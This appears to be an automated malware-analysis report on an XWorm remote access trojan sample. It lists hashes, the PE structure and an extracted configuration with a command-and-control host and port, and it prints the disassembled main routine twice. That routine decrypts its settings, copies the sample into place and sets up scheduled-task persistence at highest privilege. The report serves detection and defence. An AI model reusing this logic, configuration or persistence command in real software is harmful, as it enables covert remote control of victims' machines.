Malicious
Malicious

08a6be776429ccb8f4561e8a03131136

PE Executable
|
MD5: 08a6be776429ccb8f4561e8a03131136
|
Size: 34.82 KB
|
application/x-dosexec

Print
General
Structural Analysis
Config.1
Yara Rules88
Sync
Community
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
 Hash Value
MD5
08a6be776429ccb8f4561e8a03131136
Sha1
ef9c40a9fd8c4fb1a95203eb1421e88e32b4fa20
Sha256
d3f967529bbb788147ccc894f3b4b55e287ca6b7b964d34e3308cab70d05f64b
Sha384
4a7ee42f07602c82c7ff3ec66bd033febd61ffa6a2956703437a0cc59dd714c94bdd52ebd71b7b53c29f99d6cbb10337
Sha512
c603de96b4e6305d46302f17f649e536d6a15c21a56cf9e67ae0273be9c4fa7125575689ae19a6b25457f3c5bc69dae4321210ed3fa0a6d332c9f6b8c1a33b8e
SSDeep
768:sXBgjkVHtNohltVV+7Ovqy9Fk9m0dO/hgbd:WgkVHtm17+7ATFk9mUO/mh
TLSH
1AF26C44B7904726D5FE5FB46EF3710642B5F5078923EBAE0CD4899A2F73AC18A407E2

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
08a6be776429ccb8f4561e8a03131136
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
 Value
Mutex

r4KnVqciWW9MnFfk
SPL

U+
Hosts

154.91.84.96
Port

9865
KEY

<123456789>
USBNM

<Xwormmm>
LoggerPath

%AppData%
family

xworm
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

UClient.exe
Full Name

UClient.exe
EntryPoint

System.Void Stub.Main::Main()
Scope Name

UClient.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

UClient
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

170
Main Method

System.Void Stub.Main::Main()
Main IL Instruction Count

182
Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01C2: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0206: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0227: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0227: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name

UClient.exe
Full Name

UClient.exe
EntryPoint

System.Void Stub.Main::Main()
Scope Name

UClient.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

UClient
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

170
Main Method

System.Void Stub.Main::Main()
Main IL Instruction Count

182
Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01C2: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0206: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0227: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0227: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Artefacts
Name
 Value
Mutex

r4KnVqciWW9MnFfk
CnC

154.91.84.96
Port

9865
08a6be776429ccb8f4561e8a03131136 (34.82 KB)
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